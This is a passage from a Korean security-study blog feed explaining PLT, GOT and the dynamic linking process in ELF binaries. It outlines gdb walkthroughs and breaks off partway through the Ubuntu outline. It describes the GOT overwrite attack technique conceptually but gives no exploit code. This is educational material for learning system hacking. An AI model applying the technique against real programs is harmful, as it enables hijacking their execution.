<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>bss 영역</title>
    <link>https://sean.tistory.com/</link>
    <description></description>
    <language>ko</language>
    <pubDate>Wed, 20 May 2026 06:38:11 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>Sean(slay)</managingEditor>
    <image>
      <title>bss 영역</title>
      <url>https://tistory1.daumcdn.net/tistory/4404940/attach/6d68e1adc7124a9e92d5d0dcdab8231c</url>
      <link>https://sean.tistory.com</link>
    </image>
    <item>
      <title>[System hacking note] PLT &amp;amp; GOT &amp;amp; Dynamic Linking 과정 파헤치기</title>
      <link>https://sean.tistory.com/498</link>
      <description>&lt;p data-ke-size=&quot;size18&quot;&gt;시스템 해킹을 공부하다 보면 PLT와 GOT를 한 번쯤은 보거나 듣게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;나도 여러 번 PLT와 GOT를 보거나 들었고, 해커스쿨 LOB 18번 문제를 풀면서 PLT와 GOT를 다시 한 번 접하게 됐는데&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이참에 이 글로 PLT와 GOT 그리고 Dynamic Linking 과정을 정리한다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;[plt &amp;amp; got를 공부하면서 참고한 블로그 글]&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;1. plt &amp;amp; got 개념 : &lt;a href=&quot;https://bpsecblog.wordpress.com/2016/03/07/about_got_plt_1/&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://bpsecblog.wordpress.com/2016/03/07/about_got_plt_1/&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;2. plt &amp;amp; got 개념 및 실습 그리고 GOT overwrite : &lt;a href=&quot;https://0secusik0.tistory.com/67&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://0secusik0.tistory.com/67&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;3. 실제 해킹 문제로 알아보는 plt &amp;amp; got : &lt;a href=&quot;https://bpsecblog.wordpress.com/2016/03/09/about_got_plt_2/&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://bpsecblog.wordpress.com/2016/03/09/about_got_plt_2/&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;4. 위의 3번 글의 내용을 핵심만 간략히 적어둔 블로그 글 : &lt;a href=&quot;http://cr3denza.blogspot.com/2015/04/plt-got.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;http://cr3denza.blogspot.com/2015/04/plt-got.html&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;(위의 hackerz on the Ship의 글 2개 중 &quot;실제 해킹 문제로 알아보는 plt &amp;amp; got&quot; 글은 plt &amp;amp; got를 분석함에 있어서 절대적으로 도움이 많이 됐다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;(4번 블로그는 각 함수에서 구한 값들을 어디에 저장해두는지 더블 체크할 때 유용했다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;STRTAB : &lt;a href=&quot;https://www.mcs.anl.gov/OpenAD/OpenADFortTkExtendedDox/strtab_8cxx.html#a75d1e7e61739ba0d0211b3293e5ba9d3&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://www.mcs.anl.gov/OpenAD/OpenADFortTkExtendedDox/strtab_8cxx.html#a75d1e7e61739ba0d0211b3293e5ba9d3&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;elf32_Rel : &lt;a href=&quot;https://www.mcs.anl.gov/OpenAD/OpenADFortTkExtendedDox/structElf32__Rel.html#addcf5ef67ababeb4940889e912c11eff&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://www.mcs.anl.gov/OpenAD/OpenADFortTkExtendedDox/structElf32__Rel.html#addcf5ef67ababeb4940889e912c11eff&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;elf32_Sym : &lt;a href=&quot;https://www.mcs.anl.gov/OpenAD/OpenADFortTkExtendedDox/structElf32__Sym.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://www.mcs.anl.gov/OpenAD/OpenADFortTkExtendedDox/structElf32__Sym.html&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;symtab : &lt;a href=&quot;https://www.mcs.anl.gov/OpenAD/OpenADFortTkExtendedDox/classwhirl2xaif_1_1xlate__ST__TAB.html#a61fad846a94093d7830f7510ef1c86f9&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://www.mcs.anl.gov/OpenAD/OpenADFortTkExtendedDox/classwhirl2xaif_1_1xlate__ST__TAB.html#a61fad846a94093d7830f7510ef1c86f9&lt;/a&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;PLT와 GOT 개념&lt;/b&gt;&lt;/h2&gt;
&lt;pre id=&quot;code_1711892006022&quot; class=&quot;erlang&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;plt : 외부 함수를 연결해주는 테이블로, plt를 통해 다른 라이브러리에 있는 프로시저를 호출해 사용할 수 있다.
plt도 테이블이기 때문에 어떠한 정보들이 저장되어 있는데
이 정보들은 GOT 테이블 내의 주소와 runtime resolve 과정에 필요한 정보들이다.&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1711892015371&quot; class=&quot;ada&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;GOT : PLT가 참조하는 테이블로, 실제 함수들의 주소가 들어있다&lt;/code&gt;&lt;/pre&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;링커란&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;PLT와 GOT를 이해하려면 먼저 링커라는 것을 알아야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;함수의 정의가 외부 라이브러리에 있는 함수를 호출하는 코드가 있을 때 실행 파일로 컴파일 하는 과정을 보면 아래와 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;896&quot; data-origin-height=&quot;181&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Q7pGk/btsGgAsdQQh/PyZd9uzP344cYfMi8y2uOk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Q7pGk/btsGgAsdQQh/PyZd9uzP344cYfMi8y2uOk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Q7pGk/btsGgAsdQQh/PyZd9uzP344cYfMi8y2uOk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQ7pGk%2FbtsGgAsdQQh%2FPyZd9uzP344cYfMi8y2uOk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;896&quot; height=&quot;181&quot; data-origin-width=&quot;896&quot; data-origin-height=&quot;181&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;위의 사진을 보면 어셈블러가 오브젝트 파일을 생성하고 나면 링커가 링킹 과정을 거쳐 실행 파일로 만들게 되는데, 이때 링킹 과정이란 컴파일 하는 오브젝트 파일과 라이브러리를 연결하는 것이고, 링킹 방법에는 static과 dynamic 방식이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;참고)&lt;/p&gt;
&lt;pre id=&quot;code_1711892770601&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;라이브러리란

함수 정의 코드를 컴파일하여 나온 결과물인 오브젝트 파일을 해당 함수의 실행 코드 또는 실행 코드 파일이라고 부르는데

여러 함수의 실행 코드 또는 실행 코드 파일들이 모인 것을 라이브러리라고 하며, 즉 라이브러리에는 여러 함수들의 실행 코드가 들어있다.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;각 링킹 방식의 장점&lt;/b&gt;&lt;/h3&gt;
&lt;pre id=&quot;code_1711896203992&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;[static]
실행 파일 안에 모든 코드가 포함되기 때문에 라이브러리 연동 과정이 필요없고

한 번 생성한 파일은 따로 필요한 라이브러리를 관리하지 않아도 된다.


[dynamic]
공유 라이브러리를 사용하는데 공유 라이브러리는 라이브러리를 하나의 메모리 공간에 매핑하고
해당 메모리 공간 안에 있는 라이브러리 내용을 여러 프로그램에서 공유해서 사용한다.

모든 코드를 파일 안에 포함시키는 게 아니므로 파일의 크기가 상대적으로 작다.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;각 링킹 방식의 단점&lt;/b&gt;&lt;/h3&gt;
&lt;pre id=&quot;code_1711896259948&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;[static]
모든 코드가 포함되므로 파일의 크기가 상대적으로 크고
동일한 라이브러리를 사용한다고 해도 프로그램을 새로 실행하면 같은 라이브러리 내용을 메모리에 또 올린다.

[dynamic]
라이브러리 의존도가 높기 때문에 필요한 라이브러리를 관리해주지 않으면 프로그램을 실행할 수 없다.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;plt와 got는 리눅스 환경에서 정적 라이브러리일 때는 상관없고, 실행 코드가 외부 라이브러리에 있는 동적 라이브러리일 때 함수의 주소를 알아오기 위해 사용하는 개념이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;(&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;기본적으로 컴파일할 때는 동적 라이브러리 방식으로 컴파일 된다.)&lt;/span&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;PLT와 GOT의 동작 방식 이론&lt;/b&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;dynamic link 방식으로 컴파일된 프로그램에서 함수를 호출하게 되면 최초로 호출하느냐 혹은 이전에 호출한 적이 있느냐에 따라 약간의 차이가 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1700&quot; data-origin-height=&quot;816&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/syC6H/btsF4zVjr8w/Or4igaE3lCHl7hZGXSMSk0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/syC6H/btsF4zVjr8w/Or4igaE3lCHl7hZGXSMSk0/img.png&quot; data-alt=&quot;https://bpsecblog.wordpress.com/2016/03/07/about_got_plt_1/&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/syC6H/btsF4zVjr8w/Or4igaE3lCHl7hZGXSMSk0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FsyC6H%2FbtsF4zVjr8w%2FOr4igaE3lCHl7hZGXSMSk0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1700&quot; height=&quot;816&quot; data-origin-width=&quot;1700&quot; data-origin-height=&quot;816&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;https://bpsecblog.wordpress.com/2016/03/07/about_got_plt_1/&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;position: absolute;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1711357839856&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;plt를 가장 먼저 참조하고, 이어서 GOT로 점프하는데, 이때 GOT에 기록되어 있는 주소는 실제 함수의 주소가 아니기 때문에

PLT로 다시 이동하여 PLT에 있는 정보들과 _dl_runtime_resolve 함수를 이용하여 함수의 실제 주소를 구하는

runtime resolve 과정을 걸쳐 GOT에 실제 주소를 저장한 후 실제 함수 주소로 점프하여 함수가 동작하게 된다.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;먼저, 어떠한 함수를 최초로 호출하는 거라면 위의 과정을 따른다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;어떠한 함수를 최초로 호출할 때 got에는 함수의 실제 주소가 아닌 다른 주소가 있다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;먼저 got에 적혀있는 해당 주소로 점프하여 명령을 실행하다가 _dl_runtime_resolve 함수를 호출하게 되는데, 이 함수가 수행되면서 내부에서 함수의 실제 주소를 구하고 GOT에 저장한다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;참고)&lt;/p&gt;
&lt;pre id=&quot;code_1711891751998&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;바이너리가 실행되면 ASLR 기능에 의해 라이브러리의 주소가 매번 다른 주소에 매핑된다.

이 상태에서 라이브러리 함수를 호출하면, 함수의 이름을 이용해 라이브러리에서 심볼들을 탐색하고

해당 함수의 정의를 발견했을 때 그 주소로 실행 흐름을 옮기는데

이렇게 함수의 이름을 이용해 해당 함수의 정의로 실행 흐름을 옮기는 과정을 runtime resolve이라고 한다.&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1711357974474&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;plt를 가장 먼저 참조하고, plt에서 got로 점프하는데

got에 기록되어 있는 실제 함수 주소(라이브러리에서의 주소)를 호출하여 함수가 동작하게 된다.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;그리고 어떠한 함수를 이전에 호출한 적이 있고, &amp;nbsp;해당 함수를 다시 호출할 때는 got에 해당 함수의 실제 주소가 저장되어 있기 때문에 위의 과정을 따른다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1700&quot; data-origin-height=&quot;1013&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cwW23m/btsF3T0F9Aq/8l0a4Cku313rT7RS6BxsX1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cwW23m/btsF3T0F9Aq/8l0a4Cku313rT7RS6BxsX1/img.png&quot; data-alt=&quot;https://bnzn2426.tistory.com/27&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cwW23m/btsF3T0F9Aq/8l0a4Cku313rT7RS6BxsX1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcwW23m%2FbtsF3T0F9Aq%2F8l0a4Cku313rT7RS6BxsX1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1700&quot; height=&quot;1013&quot; data-origin-width=&quot;1700&quot; data-origin-height=&quot;1013&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;https://bnzn2426.tistory.com/27&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;어떤 함수를 최초로 호출했을 때와 두 번 이상 호출할 때를 그림으로 나타내면 위와 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;참고)&lt;/p&gt;
&lt;pre id=&quot;code_1711893040657&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;함수 호출 명령과 GOT 사이에 PLT를 두어 사용하는 이유는 아래와 같다.

실제로 사용하는 함수의 주소만 GOT에 저장해둠으로써 라이브러리를 로드할 때
사용하지 않는 함수들의 주소들까지 전부 알아와서 GOT에 주소를 저장해두는 것을 방지하기 위함이다.&lt;/code&gt;&lt;/pre&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;GOT overwrite&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;어떤 함수를 최초로 호출할 때 runtime resolve 과정을 거쳐 함수의 실제 주소를 GOT에 기록해둔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그리고 나서 재호출할 때는 PLT에서 GOT를 참조하여 기록되어 있는 실제 함수 주소로 점프하는데, 이때 GOT에 기록되어 있는 실제 함수 주소값을 검증하지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그러므로 특정 함수를 처음 호출하여 해당함수의 실제 주소를 GOT에 저장한 다음 저장된 값을 변조한다면, 해당 함수를 다시 호출할 때 변조된 값에 해당하는 주소에있는 코드를 수행하게 될 것이고, 이렇게 공격하는 기법이 GOT overwrite이다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;이 글의 목적&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;위에서 첫 번째 함수 호출 때와 두 번째 함수 호출 때의 GOT에 담겨있는 주소가 다르다고 했는데, 그 이유는 첫 번째 호출 때는 함수의 실제 주소를 알아오는 과정이 필요하기 때문이고, 두 번째 이상 호출 때는 이미 첫 번째 호출 때 실제 주소를 알아내어 GOT에 기록해뒀기 때문이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그 첫 번째와 두 번째 이상 호출 때의 과정을 조금 더 자세히 보면 아래와 같다.&lt;/p&gt;
&lt;pre id=&quot;code_1711893437926&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;[첫 번째 함수 호출 때]
함수 호출 -&amp;gt; PLT -&amp;gt; GOT -&amp;gt; PLT -&amp;gt; _dl_runtime_resolve -&amp;gt; _dl_fixup -&amp;gt; _dl_lookup_symbol_x
-&amp;gt; _dl_fixup -&amp;gt; _dl_runtime_resolve -&amp;gt; puts 함수

[두 번 이상 함수 호출 때]
함수 호출 -&amp;gt; PLT -&amp;gt; GOT -&amp;gt; puts 함&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이론적으로 설명된 첫 번째 호출 때와 두번 이상 호출 때의 과정을 실제로 gdb를 이용해 파헤쳐 본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;환경은 두 개의 환경에서 실습을 진행할 것인데, 하나는 hackerschool의 lob 환경이고, 다른 하나는 ubuntu 16.04.07 버전의 환경이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;hackerschool의 lob 환경에서 진행하는 내용은 옛날 환경에서 진행하는 것이므로 눈으로만 보면서 어떤 과정을 거쳐서 외부 라이브러리에 있는 함수의 실행 코드로 넘어가는지만 알아도 되지만&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;ubuntu 환경에서 진행하는 내용은 같이 따라해보면서 실습해보는 걸 추천한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;사실 hackerschool의 lob 환경에서 진행하는 내용을 잘 이해만 한다면 혼자서도 할 수 있게 설명해뒀다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;각 환경에서 진행하는 과정 미리보기 목록&lt;/b&gt;&lt;/h2&gt;
&lt;pre id=&quot;code_1711894397788&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;[hackerschool lob 환경에서 진행하는 과정 목록]
PLT
GOT
Dynamic Linking 시작(PLT+6(reloc_offset), PLT+11)
  - link_map 주소를 스택에 넣고 _dl_runtime_resolve 함수로 점프
    - _dl_runtime_resolve 함수 디스어셈블
    - fixup함수 호출 직전 스택 확인
     - fixup 함수 내부로 진입
      - link_map을 이용해 STRTAB 테이블 주소 구하기
       - link_map을 이용해 STRTAB 테이블 주소 구하는 과정
      - link_map을 이용해 재배치 정보를 담고 있는 재배치 테이블의 시작점인 JMPREL의 주소를 얻어오기
       - JMPREL 테이블에서 puts에 해당하는 Elf32_Rel 구조체 형식의 값에 있는 .dynsym 테이블에서의 index 값을 이용해 수동으로 직접 .dynsym 테이블에서 puts 함수에 해당하는 Elf32_Sym 형식의 구조체 값 찾아보기
      - 위에서는 수동으로 직접 .dynsym에서 puts 함수에 해당하는 Elf32_Sym 구조체의 주소를 찾았지만, 코드 상에서 해당 구조체의 주소를 찾기 위해 Elf32_Rel 구조체 형식의 내용 중 .dynsym에서의 index와 재배치 정보가 들어있는 곳의 주소를 edi 레지스터에 저장
   - 여기서 한번 내용 정리 - 
      - STRTAB에서 puts 문자열의 주소를 구하는 부분
       - JMPREL에서 puts 함수에 해당하는 Elf32_Rel 구조체 형식의 값에서 .dynsym에서의 index 값을 가져와 .dynsym 테이블에서 puts에 해당하는 Elf32_Sym 구조체 형식의 값에서 STRTAB 에서의 puts 문자열 offset 값을 구하기
       - GOT 주소 알아와서 EBP-12 주소에 기록하고 재배치 타입을 비교해 조건 분기 및 esi 레지스터에 link_map 주소 넣기
       - 실제로 STRTAB의 주소와 STRTAB에서 puts 문자열의 offset 값과 더해 STRTAB에서 puts 문자열의 주소를 구하는 부분
       - _dl_lookup_symbol 호출 전 레지스터 및 스택 정리
     - _dl_lookup_versioned_symbol 호출 및 디스어셈블
       - _dl_lookup_symbol() 함수가 없는지 확인
     - _dl_lookup_versioned_symbol 함수 반환값 확인
     - _dl_lookup_versioned_symbol() 함수를 끝내고 fixup 함수로 복귀하여 _dl_lookup_versioned_symbol() 함수에서 알아낸 SYMTAB 주소 edx 레지스터에 저장
      - SYMTAB 주소를 구했는지 확인하고 라이브러리의 주소와 SYMTAB에서 찾아낸 puts 함수의 offset 값을 더해 실제 puts 함수의 주소 알아내 eax 레지스터에 저장
      - fixup 함수 내에서 구해 저장해둔 puts 함수의 GOT 주소를 가져와 GOT 주소에 puts 함수의 실제 주소를 넣기
fixup 함수 종료 후 _dl_runtime_resolve 함수 종료
2번째 puts 함수 호출 부분에서 GOT 주소의 값 확인


[ubuntu 16.04.07 환경에서 진행하는 과정 목록]
PLT &amp;amp; GOT 부분 및 Dynamic Linking 시작(PLT+6(reloc_offset), PLT+11)
  link_map 주소를 스택에 넣고 _dl_runtime_resolve 함수로 점프 및 _dl_runtime_resolve 함수 디스어셈블
    fixup함수 호출 직전 스택 확인

      _dl_fixup 함수 내부로 진입 및 _dl_fixup 함수 디스어셈블
	link_map을 이용해 STRTAB의 주소, JMPREL의 주소, GOT의 주소, .dynsym에서의 index 값과 재배치 타입의 값 구하는 부분
		link_map을 이용해 STRTAB의 주소, JMPREL의 주소, GOT의 주소, .dynsym에서의 index 값과 재배치 타입의 값 구하는 과정
			link_map을 이용해 재배치 정보를 담고 있는 재배치 테이블의 시작점인 JMPREL의 주소를 구함과 동시에 reloc_offset 값을 이용해 puts에 해당하는 Elf32_Rel의 주소 구하는 부분
				JMPREL 테이블에서 puts에 해당하는 Elf32_Rel 구조체 형식의 값에 있는 .dynsym 테이블에서의 index 값을 이용해 수동으로 직접 .dynsym 테이블에서 puts 함수에 해당하는 Elf32_Sym 형식의 구조체 값 찾아보기
			link_map을 이용해 STRTAB 테이블 주소 구하기
				STRTAB의 주소를 esp+0xc 주소에 저장
			edx 레지스터에 .dynsym에서의 index 값과 재배치 타입 값을 저장
			JMPREL 테이블에 Elf32_Rel 형식의 값의 내용 중 GOT 주소를 가져와 eax 레지스터에 저장
			.dynsym에서의 index 값과 재배치 타입 값을 esi 레지스터에 저장
